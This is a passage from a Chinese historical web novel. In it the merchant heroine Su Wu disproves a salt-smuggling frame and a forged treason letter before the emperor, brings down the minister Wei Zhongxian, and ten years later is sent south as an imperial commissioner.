自柳家倒台、林税官被治罪后，已过半年。这半年，苏芜的势力如春日的藤蔓，在京城的土壤里悄然蔓延，盘根错节，深入肌理。锦绣阁的分号已开至七间，遍布京城四城，还在周边的州府开设了三间分号，绣品从宫廷御用的云锦华服，到民间百姓的粗布绣帕，应有尽有，技艺精湛，纹样新颖，深受各阶层的喜爱；草药行在赵老和周老丈的打理下，已成大靖第一草药商，不仅垄断了京城的草药交易，还与江南、巴蜀、漠北的草药商建立了稳固的联系，药材遍布全国，甚至连军中的草药供应，也有三成出自她的草药行；惠民商社的规模更是一日千里，加入的寒门商贩已逾千人，涵盖了布匹、粮食、茶叶、瓷器等各个行业，苏芜为商社制定了严格的规矩，统一货源、统一价格、互帮互助，让寒门商贩彻底摆脱了被世家权贵欺压的命运，商社的影响力，早已走出京城，辐射至周边数十个州府。 而惜春坊，更是成了京城乃至全国孤女的希望之地。半年间，惜春坊收养的孤女已逾百人，最大的二十岁，最小的仅有六岁，苏芜请了绣技精湛的绣娘、识文断字的先生、辨识草药的郎中，教她们刺绣、读书、识药、算账，甚至请了退伍的老兵，教她们一些基础的防身术。这些孤女，皆是从苦难中走来，深知生存的不易，学习起来格外刻苦，短短半年，已有数十人学成出师，苏芜为她们置办了本钱，让她们去往各地的锦绣阁分号和草药行做事，或是自立门户开设小店，这些走出惜春坊的孤女，成了苏芜最忠心的臂膀，将她的势力，一点点延伸至大靖的各个角落。 青禾端着一杯温热的桂花茶，走到苏芜身边，将茶杯递到她手中，轻声道：“苏芜姐姐，赵老掌柜派人来报，江南的新一批药材已经到了，卸在西市的货仓，周老丈已经去查验了，还有，惠民商社的李管事说，漠北的皮毛商想与商社合作，今日午后会来锦绣阁谈合作事宜。” 苏芜接过桂花茶，喝了一口，清甜的桂香混着茶香在嘴里散开，她点了点头，目光依旧望着远方：“让账房先生备好合同，午后我亲自见漠北的皮毛商。另外，让王大带二十个身手利落的人去西市货仓守着，近来京城不太平，魏党虽蛰伏，却未必安分，药材是根基，不能出半点差错。” 青禾应了声“是”，又道：“惜春坊那边，今日有十个孤女学成，绣技已经能独当一面，她们想留在锦绣阁做事，我已经按你的意思，把她们分到各个分号当绣坊师傅了。还有，坊里新收了五个从江南逃荒来的孤女，年纪都小，先生已经开始教她们识字了。” 提及惜春坊，苏芜的眉眼柔和了几分，她回头看向青禾，见她眉眼间也添了几分干练，不复初时的怯懦，心中颇感欣慰。这半年，青禾不仅将惜春坊打理得井井有条，还跟着账房先生学了算账，跟着赵老学了辨识草药，早已成了她最得力的助手，也是她此生唯一的软肋与铠甲。“辛苦你了，青禾。”苏芜拍了拍她的手，“惜春坊的孤女，不仅要教她们技艺，还要教她们做人，让她们知道，女子并非只能依附男子，靠自己的双手，也能活得有尊严、有底气。” “我知道的，苏芜姐姐。”青禾点了点头，眼底满是坚定，“我每天都会和她们说你的事，告诉她们，只要努力，就能像你一样，从尘泥里走出来，活成自己的光。” 苏芜笑了笑，没有再多说，只是将目光重新投向窗外。她知道，如今的繁华与安稳，不过是暴风雨前的宁静。魏忠贤身为当朝丞相，贵妃的亲兄长，权倾朝野多年，党羽遍布朝堂与地方，柳家倒台、林税官被治罪，不过是伤了他的皮毛，并未动其根本。他这半年的蛰伏，并非畏惧，而是在暗中积蓄力量，等待着反扑的机会。而她苏芜，作为温庭远最得力的弟子，手握商业大权，民心所向，又多次坏了魏忠贤的好事，早已成了他必欲除之而后快的眼中钉、肉中刺。 魏忠贤的反扑，比苏芜预想的来得更快，也更狠辣。 当日午后，苏芜正在锦绣阁的会客厅与漠北的皮毛商谈合作，刚定下合作意向，准备签字画押，突然，西城的管事跌跌撞撞地跑了进来，脸色惨白，声音带着颤抖：“苏姑娘，不好了！西城的锦绣阁分号被税官封了，说我们贩卖私盐，还在货仓里搜出了十几担私盐，衙役们把分号的掌柜和伙计都抓走了！” 话音未落，南城的管事也匆匆赶来，同样面色惨白：“苏姑娘，惠民商社总坛被围了，魏丞相的人说商社勾结盐枭，贩卖私盐，要查抄商社的所有账目，抓捕商社的所有管事，赵老掌柜为了护着账目，被他们打伤了！” 接连两个消息，如两道惊雷，在会客厅里炸响。漠北的皮毛商脸色一变，起身拱手道：“苏姑娘，既然贵处有要事，那合作的事，我们改日再谈。”说罢，便匆匆离去，生怕惹祸上身。 苏芜的脸色瞬间沉了下来，指尖捏着的茶杯微微泛白，却依旧保持着冷静，没有丝毫慌乱。贩卖私盐，在大靖乃是重罪，轻则抄家流放，重则满门抄斩。她的锦绣阁和惠民商社，从未涉足盐运，更何况，盐铁乃是朝廷专营，寒门商贩根本没有资格触碰，货仓里的私盐，定然是魏忠贤故意栽赃陷害！ “青禾，立刻去惜春坊，带着所有孤女转移到温府，让老兵们守着惜春坊，不许任何人靠近，若是有人硬闯，格杀勿论！”苏芜的声音冷冽，带着不容置疑的威严，“王大，立刻召集商社里所有身手利落的壮丁，守住锦绣阁总号、草药行总坛和各个货仓，不许魏党的人靠近一步，若是有人敢硬闯，就和他们拼了！” “是！”青禾和王大齐声应道，转身便匆匆离去。 苏芜又对着身边的账房先生道：“立刻整理锦绣阁和惠民商社的所有账目，尤其是盐运相关的，证明我们从未涉足盐运，还有，把所有的缴税凭证都找出来，一式三份，一份留着，一份送到京兆尹府，一份送到宫里，交给贵妃娘娘。” 账房先生也立刻应声而去。 苏芜深吸一口气，压下心底的怒意，走到会客厅的案前，拿起炭笔，在纸上快速写下几行字，那是她与温庭远约定的暗号，让心腹立刻送到温府，告知温庭远魏党反扑，栽赃贩卖私盐之事。她知道，魏忠贤的目标，从来都不只是锦绣阁和惠民商社，而是她背后的温庭远，以及那些暗中联络的忠良之士，这次栽赃，不过是魏忠贤的第一步，接下来，定然还有更狠毒的阴谋。 果然，不出苏芜所料，半个时辰后，宫里传来消息，说有人在御书房外捡到了一封她与漠北藩王勾结的密信，信中写道，她愿以锦绣阁和草药行的财力，资助漠北藩王起兵，推翻当今圣上，拥立藩王登基，事成之后，封她为一品诰命，执掌天下商业。皇帝看了密信后，龙颜大怒，当即下令，软禁温庭远，派禁军包围锦绣阁，将苏芜捉拿归案，彻查此事。 这封密信，无疑是魏忠贤的致命一击。贩卖私盐，尚且有辩解的余地，而勾结藩王、谋逆造反，乃是十恶不赦的大罪，一旦坐实，不仅她苏芜必死无疑，温庭远和所有忠良之士，都会被株连九族，锦绣阁、惠民商社、惜春坊，所有她一手建立的一切，都会化为乌有。 短短一个时辰，京城风云突变，魏党借着栽赃贩卖私盐和谋逆造反的罪名，大肆抓捕忠良之士和寒门商贩，京城的大街小巷，随处可见禁军和衙役的身影，人心惶惶，一片混乱。锦绣阁外，很快便围满了禁军，为首的是魏忠贤的义子，锦衣卫指挥使魏虎，他手持皇帝的圣旨，站在大门外，高声喊道：“苏芜接旨！陛下有旨，苏芜勾结藩王，谋逆造反，贩卖私盐，罪大恶极，着即捉拿归案，彻查其党羽，钦此！” 锦绣阁的大门紧闭，王大带着数百名壮丁守在门内，手持棍棒和刀具，眼神坚定，寸步不让。魏虎见锦绣阁闭门不纳，脸色一沉，厉声喝道：“苏芜，你竟敢抗旨？莫非是做贼心虚？限你半个时辰内开门受捕，否则，我便下令强攻，踏平锦绣阁！” 阁内，苏芜正站在二楼的窗前，看着门外的禁军，眼底没有丝毫惧意，只有一片冰冷的怒意。她知道，魏忠贤这次是蓄谋已久，伪造密信、栽赃私盐，环环相扣，步步紧逼，就是要置她于死地。而皇帝此刻震怒，早已失去了判断，想要自证清白，难如登天。 但她苏芜，从来都不是坐以待毙之人。从苏家村的柴房逃出来的那一刻起，从京城街头流浪的那一刻起，从锦绣阁的浆洗房里隐忍的那一刻起，她就知道，唯有自己，才能救自己。 “备车。”苏芜对着身边的侍女道，“我要去皇宫，亲自面见陛下，自证清白。” 侍女大惊：“苏姑娘，不可啊！陛下此刻正在气头上，魏虎又守在门外，您这一去，岂不是羊入虎口？” “我若不去，才是真正的坐实了谋逆的罪名。”苏芜淡淡道，“魏忠贤想要的，就是我闭门不出，然后他借机强攻锦绣阁，杀了我，再伪造认罪书，将一切罪名坐实。我偏不如他意，我要去皇宫，当着陛下和满朝文武的面，揭穿他的阴谋，让他身败名裂。” 她说着，拿起案上的那封伪造的密信，指尖拂过信上的字迹，眼底闪过一丝了然。这封信的字迹，模仿得有七八分像她，却依旧有破绽——她写字时，因常年握绣针和算盘，指尖用力，笔画的起笔和收笔会有细微的顿笔，而这封信上的字迹，笔画流畅，毫无顿笔，明显是旁人模仿的。还有信上的印章，是她的私章，却也是伪造的，她的私章是温庭远为她刻的，印章的角落有一个小小的“温”字印记，而这封密信上的印章，却没有这个印记，一眼便能看出真伪。 这些破绽，便是她自证清白的底气。 苏芜整理了一下衣衫，拿起披风披在身上，又将收集到的魏党栽赃的证据揣进怀里，大步朝着楼下走去。王大见她要出门，急道：“苏姑娘，您不能出去！魏虎那厮心狠手辣，您这一出去，他定会立刻抓了您！” “无妨。”苏芜拍了拍王大的肩膀，“我乃奉旨入宫，他不敢擅自动我。你守好锦绣阁，保护好大家，若是我三个时辰内未归，便让赵老将草药行的所有钱财分发给寒门商贩和惜春坊的孤女，让她们各自散去，找个安稳的地方活下去。” “苏芜姐姐！”青禾突然从门外跑了进来，她刚把惜春坊的孤女转移到温府，便匆匆赶了回来，脸上还带着泪痕，“我和你一起去皇宫！我要陪着你！” 苏芜看着青禾泛红的眼眶，心中一暖，摇了摇头：“你不能去，温府那边需要你守着，惜春坊的孤女，还有温太傅的安危，都托付给你了。你是我最信任的人，一定要保护好自己，保护好他们。” 青禾咬着唇，点了点头，眼泪却还是掉了下来：“苏芜姐姐，你一定要平安回来，我和大家都在锦绣阁等你。” 苏芜笑了笑，抬手擦去她的眼泪，转身朝着大门走去。她打开锦绣阁的大门，迎着禁军和魏虎的目光，缓步走了出来，身姿挺拔，不卑不亢，丝毫没有被定罪的惶恐与怯懦。 魏虎见苏芜走了出来，眼底闪过一丝诧异，随即又化为阴狠：“苏芜，你终于肯出来了？莫非是知道自己罪无可赦，想束手就擒了？” 苏芜淡淡瞥了他一眼，声音清亮：“魏指挥使，我乃奉旨入宫面见陛下，自证清白，何来束手就擒之说？倒是你，手持圣旨，却围堵锦绣阁，阻拦我入宫，莫非是想故意拖延，掩盖什么不成？” 魏虎的脸色一变，被苏芜的话噎得说不出话来。他本想借机激怒苏芜，让她抗旨，然后名正言顺地抓了她，却没想到苏芜如此冷静，还反将了他一军。“休得胡言！”魏虎厉声道，“本指挥使奉陛下之命，捉拿你归案，自然要寸步不离！来人，给我拿下苏芜，押入天牢，待陛下审问！” “谁敢！”苏芜厉声喝止，目光扫过周围的禁军，“我乃锦绣阁掌事，宫廷专供绣坊的主事，更是陛下亲封的‘惠民居士’，今日奉旨入宫面见陛下，尔等若是敢擅自动我，便是抗旨！陛下怪罪下来，你们担得起吗？” 她的声音铿锵有力，带着一股不容置疑的威严，周围的禁军皆是面面相觑，不敢上前。苏芜的名声，在京城乃至全国都如雷贯耳，她不仅是商业巨擘，更是寒门百姓心中的“苏大善人”，深受民心，更何况，她确实有陛下亲封的头衔，又为宫廷供绣品，若是没有确凿的证据，擅自动她，定然会引起民愤。 魏虎见禁军不敢上前，气得脸色铁青，却也无可奈何。他知道，苏芜说的是实话，若是此刻擅自动她，惹了民愤，陛下怪罪下来，他也吃不了兜着走。“好，本指挥使便带你入宫，让陛下亲自审问你！我倒要看看，你这巧舌如簧的女子，今日如何为自己辩解！” 魏虎咬牙道，挥手示意禁军让开一条路，亲自带着苏芜朝着皇宫走去。 一路上，京城的百姓纷纷围拢过来，看着被禁军护送的苏芜，议论纷纷。有人相信苏芜是被栽赃的，大声喊道：“苏姑娘是好人，定是被人陷害的！陛下要明察秋毫啊！”也有人被魏党的谣言蛊惑，低声议论：“听说苏姑娘勾结藩王，要造反呢，这可是大罪啊！” 苏芜听着周围的议论，依旧面不改色，只是目光坚定地朝着皇宫的方向走去。她知道，今日这场宫中之辩，不仅是她的生死之战，更是温庭远和忠良之士与魏党之间的生死之战，胜，则能挫败魏党的反扑，进一步壮大忠良之士的势力；败，则万劫不复，身死名裂。 皇宫的朱红大门，依旧巍峨矗立，宫墙高耸，透着一股威严与冰冷。苏芜跟着魏虎走进宫墙，脚下的青石板路光滑如镜，映着她的身影，两旁的宫灯高悬，雕梁画栋，金碧辉煌，却让人觉得压抑。她走过御花园，走过太和殿，最终被带到了紫宸殿，皇帝正坐在龙椅上，满脸怒容，两旁站着满朝文武，魏忠贤站在文官之首，嘴角噙着一抹不易察觉的阴笑，看着苏芜，眼底满是得意与狠戾。 苏芜缓步走进紫宸殿，跪在地上，俯首行礼，声音清亮，不卑不亢：“民女苏芜，参见陛下，吾皇万岁万岁万万岁。” “苏芜！你可知罪！”皇帝猛地一拍龙椅，厉声喝道，声音震得整个紫宸殿都嗡嗡作响，“你胆大包天，不仅贩卖私盐，藐视王法，还勾结漠北藩王，图谋不轨，意欲造反，今日被人抓了现行，你还有何话可说？” 苏芜缓缓抬头，目光平视皇帝，沉声道：“陛下，民女冤枉！民女从未贩卖私盐，更未勾结漠北藩王，图谋不轨，这一切，皆是有人故意栽赃陷害，嫁祸于民女。” “冤枉？”魏忠贤上前一步，拱手道，“陛下，苏芜巧舌如簧，死到临头还敢狡辩！西城锦绣阁的货仓里，搜出了十几担私盐，惠民商社的多名管事已被捉拿，供认不讳，还有这封她与漠北藩王勾结的密信，铁证如山，她岂容抵赖？” 魏忠贤说着，将那封伪造的密信递到皇帝面前，又对着身边的侍卫道：“带上来！” 很快，两个被打得遍体鳞伤的惠民商社管事被带了上来，他们跪在地上，瑟瑟发抖，不敢抬头。魏忠贤厉声道：“你们说，苏芜是不是让你们贩卖私盐，资助漠北藩王造反？” 两个管事被魏党严刑拷打，早已不堪忍受，只能哭着道：“是……是苏姑娘让我们做的……我们认罪……” 魏忠贤得意地看向苏芜：“苏芜，人证物证俱在，你还敢说自己冤枉？” 满朝文武皆是议论纷纷，有人面露同情，却不敢出声；有人则是魏党之人，纷纷附和，要求皇帝治苏芜的罪，株连九族。 苏芜看着那两个被打得遍体鳞伤的管事，眼底闪过一丝心疼，却依旧冷静：“陛下，这两位管事被魏丞相的人严刑拷打，屈打成招，其言岂能作数？至于货仓里的私盐，乃是有人故意栽赃，民女的锦绣阁和惠民商社，从未涉足盐运，盐铁乃是朝廷专营，民女一个寒门女子，何来资格贩卖私盐？陛下可查民女的所有账目，民女的账目清清楚楚，每一笔收支都有记录，从未有过盐运相关的交易，还有民女的所有缴税凭证，皆可证明民女从未偷税漏税，更未做过违法乱纪之事。” 她说着，将早已准备好的账目和缴税凭证递了上去，侍卫接过，呈给皇帝。皇帝翻看了几页，脸色稍缓，这些账目和凭证，字迹清晰，记录详细，确实没有任何盐运相关的交易，也没有任何偷税漏税的痕迹。 魏忠贤见皇帝脸色稍缓，心中一急，又道：“陛下，账目和凭证皆可伪造，不足为信！这封密信乃是从御书房外捡到的，上面有苏芜的私章和字迹，这乃是铁证，不容置疑！” 苏芜抬眼，看向魏忠贤，眼底闪过一丝冷意：“魏丞相，说我字迹和私章皆是真的，敢问丞相，可曾见过民女的真迹和真章？” 魏忠贤一愣，随即道：“这密信上的字迹和私章，与苏芜平日的字迹和私章一模一样，何须见过真迹？” “丞相连民女的真迹和真章都未曾见过，便断言这密信是真的，未免太过武断了。”苏芜淡淡道，“陛下，民女的字迹，因常年握绣针和算盘，指尖用力，笔画的起笔和收笔会有细微的顿笔，而这封密信上的字迹，笔画流畅，毫无顿笔，明显是旁人模仿的。还有民女的私章，乃是温太傅为民女所刻，印章的角落有一个小小的‘温’字印记，乃是暗记，外人不知，而这封密信上的印章，却没有这个印记，一眼便能看出真伪。陛下可仔细查验，便知民女所言非虚。” 皇帝闻言，立刻拿起密信，仔细查看，又让人取来苏芜之前呈给朝廷的商税策论，对比字迹，果然如苏芜所言，策论上的字迹起笔收笔有细微的顿笔，而密信上的字迹却没有；又让人查验密信上的印章，果然没有那个小小的“温”字印记，而苏芜的真章，此刻正放在温庭远的府中，早已被忠良之士呈了上来，两相对比，真伪立判。 皇帝的脸色彻底沉了下来，他看向魏忠贤，眼神里带着一丝怀疑：“魏丞相，这是怎么回事？” 魏忠贤心中一惊，却依旧强装镇定：“陛下，这定是苏芜故意狡辩，模仿字迹和印章本就不易，些许破绽，不足为信！漠北藩王早有反心，苏芜手握巨额财力，与他勾结，乃是板上钉钉的事！” “魏丞相，口说无凭，凡事皆讲证据。”苏芜上前一步，声音清亮，“陛下，民女不仅能证明这封密信是伪造的，还能证明货仓里的私盐，乃是魏丞相的远房亲戚，江南盐商魏坤所放，魏坤借着魏丞相的权势，垄断江南盐运，贩卖私盐，牟取暴利，民女的锦绣阁西城货仓，昨日刚到了一批江南的绸缎，魏坤便派人借着送绸缎的名义，将私盐偷偷放进了货仓，栽赃陷害民女。民女已让人查探清楚，魏坤的私盐窝点，就在江南的苏州府，还有他与魏丞相的通信，证明他贩卖私盐，乃是受魏丞相指使，民女的人，已将这些证据带来，呈给陛下。” 苏芜说着，对着殿外喊道：“呈上来！” 周老丈带着几个江南草药商，捧着一叠证据，缓步走进紫宸殿，将证据呈给皇帝。这些证据，有魏坤贩卖私盐的账本，有他与魏忠贤的通信，有苏州府百姓的证词，还有栽赃苏芜的两个魏党爪牙的供词，铁证如山，不容抵赖。 皇帝翻看了这些证据，脸色越来越沉，到最后，已是怒不可遏，猛地将证据摔在地上，厉声喝道：“魏忠贤！你好大的胆子！竟敢纵容亲戚贩卖私盐，栽赃陷害忠良，还伪造密信，意图构陷苏芜，搅乱朝纲，你眼里还有朕，还有朝廷的王法吗？” 魏忠贤见事情败露，吓得浑身发抖，噗通一声跪在地上，连连磕头：“陛下，冤枉啊！臣冤枉！这一切都是魏坤自作主张，与臣无关，还有这封密信，臣也不知是谁伪造的，求陛下明察！” “事到如今，你还敢狡辩！”皇帝怒喝道，“温太傅被你软禁，忠良之士被你大肆抓捕，寒门商贩被你欺压，你结党营私，贪污受贿，贩卖私盐，构陷忠良，罪大恶极，罄竹难书！来人，给我拿下魏忠贤，打入天牢，彻查其党羽，抄没其家产！” 两旁的禁军立刻上前，将魏忠贤按在地上，摘掉他的官帽，押了下去。魏忠贤拼命挣扎，大喊道：“陛下，臣冤枉 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苏芜俯首行礼，沉声道：“陛下，民女不求赏赐，只求陛下能释放所有被冤枉的寒门商贩和忠良之士，为温太傅平反，还他们一个清白；只求陛下能整顿盐运，废除世家权贵对盐铁的垄断，让寒门商贩也能参与其中，公平交易；只求陛下能继续推行轻征薄敛的商税政策，扶持寒门商贩，让民间商业得以发展，百姓得以安居乐业。” 苏芜的话，字字句句，皆为天下百姓，为寒门子弟，没有一丝一毫为自己谋私利，让满朝文武皆是心生敬佩，皇帝也深受触动，点了点头，沉声道：“准奏！朕即刻下旨，释放所有被冤枉之人，为温太傅平反，整顿盐运，推行商税政策，扶持寒门商贩！苏芜，你心怀天下，为民请命，朕心甚慰，特封你为‘一品诰命夫人’，赐黄金千两，绸缎百匹，允许你自由出入宫廷，参与商税与盐运的整顿，钦此！” “民女苏芜，谢陛下隆恩。”苏芜俯首行礼，声音坚定。 这场惊心动魄的宫中之辩，最终以苏芜的大获全胜，魏忠贤的倒台而告终。消息传出，京城的百姓皆欢呼雀跃，奔走相告，寒门商贩和忠良之士更是激动不已，纷纷来到锦绣阁，向苏芜道谢。 苏芜从皇宫出来时，已是深夜，京城的大街小巷，张灯结彩，百姓们自发地站在路边，迎接她的归来，齐声喊道：“苏姑娘千岁千岁千千岁！” 苏芜坐在马车上，看着窗外欢呼的百姓，眼底满是感慨。她从一个尘泥里的孤女，一步步走到如今，历经了无数的苦难与挫折，遭遇了无数的陷害与算计，却始终没有放弃，始终坚守着自己的本心，靠着自己的智慧与韧性，一次次化险为夷，一次次逆风翻盘。如今，她终于挫败了魏忠贤的反扑，为天下百姓除去了一大祸害，也为自己的势力，奠定了更坚实的基础。 回到锦绣阁，青禾、王大、赵老、周老丈，还有所有锦绣阁、惠民商社、惜春坊的人，都在门口等着她，见她平安归来，所有人都激动得哭了出来。青禾扑进苏芜的怀里，哽咽道：“苏芜姐姐，你终于回来了，我们都担心死了。” 苏芜拍了拍青禾的背，笑了笑：“我回来了，让大家担心了。” 赵老走上前，拱手道：“苏姑娘，您大获全胜，魏忠贤被打入天牢，魏党被彻查，这真是天大的好消息啊！我们惠民商社的兄弟，还有惜春坊的孤女，都安全了。” 王大也憨憨地笑道：“苏姑娘，您太厉害了！当着陛下和满朝文武的面，揭穿了魏忠贤的阴谋，真是大快人心！” 苏芜看着眼前的众人，眼底满是暖意。这些人，都是她的伙伴，她的家人，是她在这冰冷的京城，唯一的温暖。她能走到今天，离不开他们的支持与陪伴，离不开他们的忠心与守护。 “大家都辛苦了。”苏芜对着众人拱手，“今日之事，并非我一人之功，乃是大家齐心协力的结果。魏忠贤虽被抓，但他的党羽还有残余，地方上的豪强也未必安分，前路依旧布满荆棘，我们依旧不能掉以轻心。接下来，我们要做的，是整顿惠民商社和锦绣阁的产业，释放被冤枉的寒门商贩，赔偿他们的损失，重修被魏党破坏的店铺；是继续发展草药行和锦绣阁的分号，将惠民商社的影响力，延伸至全国；是将惜春坊的孤女培养成才，让她们成为我们的臂膀，守护好我们的一切；是协助陛下，整顿盐运和商税，扶持寒门子弟，让天下的百姓，都能安居乐业。” 众人齐声应道：“我等愿追随苏姑娘，赴汤蹈火，在所不辞！” 夜色渐浓，锦绣阁的灯笼高高挂起，照亮了门前的青石板路，也照亮了京城的夜空。银杏叶簌簌落下，卷着淡淡的桂花香，在风中飞舞，仿佛在为这场胜利欢呼。苏芜站在锦绣阁的二楼，凭栏远眺，看着京城的万家灯火，看着街头欢呼的百姓，眼底满是平静与坚定。 魏忠贤的倒台，并非结束，而是新的开始。大靖王朝历经多年的党争，早已积贫积弱，地方豪强割据，寒门子弟难有出头之日，女子地位低下，百姓生活困苦，这天下，还有太多的事情需要去做，还有太多的苦难需要去化解。 而她苏芜，将继续带着她的伙伴们，带着她的初心，一步步走下去。她会用自己的财力和势力，扶持寒门子弟，收养孤女，传授技艺，让更多的人，能从尘泥里走出来，活成自己的光；她会协助皇帝，整顿朝纲，发展商业，改善民生，让大靖王朝，重现盛世；她会用自己的一生，证明女子并非只能依附男子，靠自己的双手，也能活得有尊严、有底气，也能搅动风云，撼动朝野，也能成为一代传奇。 次日，皇帝下旨，释放所有被冤枉的寒门商贩和忠良之士，为温庭远平反，官复原职，任命温庭远为内阁首辅，执掌朝政；下令彻查魏忠贤的党羽，无论是朝堂之上，还是地方之中，凡与魏忠贤勾结者，一律严惩不贷，抄没家产；整顿盐运，废除世家权贵对盐铁的垄断，允许寒门商贩参与盐铁交易，公平竞争；继续推行苏芜提出的轻征薄敛的商税政策，在全国范围内设立商税司，由忠良之士执掌，监督商税的征收，打压偷税漏税的行为；册封苏芜为“一品诰命夫人”，赐御赐金牌，允许她自由出入宫廷，参与商税与盐运的整顿，执掌天下商业之事。 旨意一出，全国震动，寒门子弟和百姓皆欢呼雀跃，对皇帝和苏芜感恩戴德。 苏芜借着皇帝的旨意，开始在全国范围内推行自己的商业计划。她将惠民商社的规模进一步扩大，在全国各个州府都设立了商社分坛，加入的寒门商贩逾万人，涵盖了各个行业，形成了一张庞大的商业网络；她将锦绣阁和草药行的分号，开至全国各个州府，甚至在边境的城池，也设立了据点，让大靖的绣品和草药，走出国门，远销至周边的国家；她在全国各个州府，都开设了惜春坊，收养当地的孤女，传授她们技艺，让她们能自立门户，这些惜春坊的孤女，成了她的眼睛和耳朵，将她的势力，延伸至大靖的每一个角落。 她还利用自己的财力，在全国各个州府都开设了义学和义庄，免费教寒门子弟读书识字，为无家可归的百姓提供住所和食物；她资助寒门子弟参加科举，为朝廷输送了大量的忠良之才，这些寒门子弟，皆感念苏芜的恩情，入朝为官后，始终坚守本心，为民请命，成了朝廷的中坚力量。 温庭远则执掌朝政，协助皇帝整顿朝纲，肃清魏党的残余势力，打压地方豪强，推行休养生息的政策，让百姓得以安居乐业，大靖王朝，逐渐走出了多年的阴霾，重现了盛世的曙光。 而苏芜，也成了大靖王朝历史上，最传奇的女子。她出身乡野孤女，无依无靠，却靠着自己的努力，一步步走到巅峰，执掌天下商业，影响朝局民生，受百姓敬仰，受皇帝器重，一生未嫁，没有依附任何男子，没有卷入任何感情纠葛，活得出彩、活得通透、活得独美。 时光荏苒，十年弹指一挥间。 十年后，大靖王朝国泰民安，百姓安居乐业，商业繁荣，文化昌盛，成了真正的盛世。寒门子弟得以入朝为官，女子的地位也得到了极大的提升，越来越多的女子，走出家门，学习技艺，自立门户，活成了自己的光。 而苏芜，也已年近三十，褪去了年少的青涩，添了几分岁月的沉淀，眉眼间依旧沉稳淡然，那双眸子，依旧清亮坚定。她将锦绣阁和惠民商社的日常事务，交给了青禾、王大、赵老等人打理，自己则隐居于京城郊外的别院，别院名为“芜园”，园内种满了花草树木，还有一片药圃，一片绣坊，收养了数十名孤女，教她们刺绣、识药、读书。 温庭远时常来芜园与她闲谈，谈朝局，谈民生，谈天下；青禾始终陪伴在她身边，成了锦绣阁的掌事，将锦绣阁打理得井井有条；王大成了惠民商社的总坛主，守护着寒门商贩的利益；赵老和周老丈则执掌着全国的草药行，救死扶伤，造福百姓；那些从惜春坊走出去的孤女，早已在全国各地生根发芽，成了各个行业的佼佼者，守护着苏芜一手建立的商业帝国。 这日，秋高气爽，桂花香满芜园。苏芜坐在园中的桂花树下，看着孤女们在绣坊里刺绣，看着药圃里的郎中教孤女们辨识草药，嘴角噙着一抹淡淡的笑意。青禾端着一杯桂花茶，走到她身边，将茶杯递到她手中，轻声道：“苏芜姐姐，温太傅来了，正在书房等你。” 苏芜接过桂花茶，点了点头，起身朝着书房走去。书房里，温庭远正坐在案前，翻看一本古籍，见苏芜走来，笑着道：“苏芜，你倒是清闲，如今天下太平，商业繁荣，皆是你的功劳啊。” 苏芜笑了笑，道：“师父过奖了，这都是陛下圣明，师父执掌朝政有方，还有大家齐心协力的结果，我不过是做了些分内之事。” 温庭远放下古籍，看着苏芜，眼底满是欣慰：“你这孩子，还是这般谦虚。十年前，你还是个从苏家村逃出来的孤女，如今，却成了大靖的传奇，执掌天下商业，影响朝局民生，为师为你感到骄傲。” 苏芜看着温庭远，眼底满是感激：“若无师父的点拨与扶持，若无师父的知遇之恩，我苏芜，如今依旧是那个在尘泥里挣扎的孤女，难有今日。师父的恩情，我此生难忘。” “你无需谢我。”温庭远摆了摆手，“你今日的成就，皆是你自己拼来的，是你的韧性、你的智慧、你的本心，让你走到了今天。你从尘泥里走来，却从未忘记自己的初心，始终心怀天下，为民请命，这才是最难能可贵的。” 两人相视一笑，闲谈起来，谈朝局的安稳，谈百姓的安乐，谈惜春坊的孤女，谈惠民商社的发展，岁月静好，现世安稳。 窗外，桂花簌簌落下，卷着淡淡的清香，在风中飞舞。苏芜的目光，透过窗户，望向远方的京城，望向远方的天下，眼底满是平静与淡然。 8. 海晏未宁·巾帼登朝 暮春三月，江南草长，杂花生树，群莺乱飞。 大靖的盛世，如一幅徐徐展开的工笔长卷，从京城的朱墙金瓦，铺展到江南的烟雨楼台，再延伸至漠北的长风大漠。十年休养生息，朝堂清明，民生富庶，商业繁茂，坊间皆传“永熙中兴”，将这十年的太平，归功于永熙帝的圣明，内阁首辅温庭远的辅政，以及那位执掌天下商业的一品诰命夫人苏芜。 此时的苏芜，正立于苏州府的码头，一身月白织锦褙子，内衬素色交领长衫，青丝仅用一支羊脂玉簪绾成流云髻，鬓边斜插两枝新折的碧桃，眉眼间是岁月沉淀的温润，却又藏着执掌大局的果决。她脚下的青石板码头，舟楫林立，千帆竞渡，漕运船只满载着锦绣阁的绣品、惠民商社的茶叶、药行的珍稀药材，往来于运河之上，船工的号子、商贩的吆喝、孩童的嬉闹，交织成一派繁华喧嚣的景象。 这是苏芜南下巡访的第三个月。自永熙帝整顿盐运、推行商税新政以来，虽全国大局向好，却在江南、岭南一带生出了新的波澜——江南士族以“祖制不可违”为由，联合地方豪强，抵制商税新政，暗中操控米价、盐价，压榨寒门商贩；岭南则因海禁松弛，倭寇与海盗勾结，袭扰沿海州县，劫掠商船，致使海上贸易几近停滞，沿海百姓流离失所。 永熙帝数次派官员南下整治，却皆因士族阻挠、海盗猖獗而铩羽而归，甚至有两名钦差被江南士族设计陷害，革职流放。温庭远坐镇京城，统筹全局，分身乏术，思来想去，唯有苏芜能担此重任——她手握惠民商社的庞大网络，熟悉江南商业脉络，又深得寒门商贩与百姓拥戴；更重要的是，她不属朝堂任何派系，无党无争，且手段果决，能绕开士族的掣肘，直击问题核心。 于是，永熙帝下旨，命苏芜以一品诰命夫人的身份，持钦差关防，南下巡访江南、岭南，督办商税新政推行，整治米盐乱象，安抚沿海百姓，清剿倭寇海盗，便宜行事，先斩后奏。 这道旨意，在朝堂之上掀起了轩然大波。 以礼部尚书钱谦益为首的江南士族官员，率先发难，在金銮殿上跪地进言：“陛下，万万不可！苏芜虽有功于国，却终究是一介女子，且无朝廷官衔，仅为诰命夫人。钦差乃代天巡狩，执掌生杀大权，岂容女子担任？此乃违逆祖制，贻笑大方！” “钱尚书此言差矣！”温庭远出列，须发皆白，却精神矍铄，目光如炬，“祖制亦有变通之时。前朝有平阳昭公主镇守娘子关，穆桂英挂帅出征，皆为女子，却立下赫赫功勋。苏芜十年间，扶持寒门，兴商富民，设义学，建惜春坊，助朝廷整顿商税、盐运，其功不在朝堂诸公之下。江南士族勾结豪强，操控物价，阻挠新政，岭南倭寇横行，百姓遭殃，诸公之中，谁能拍着胸脯，保证能平定乱象？苏芜手握惠民商社，根基在民间，手段卓绝，正是督办此事的最佳人选！” 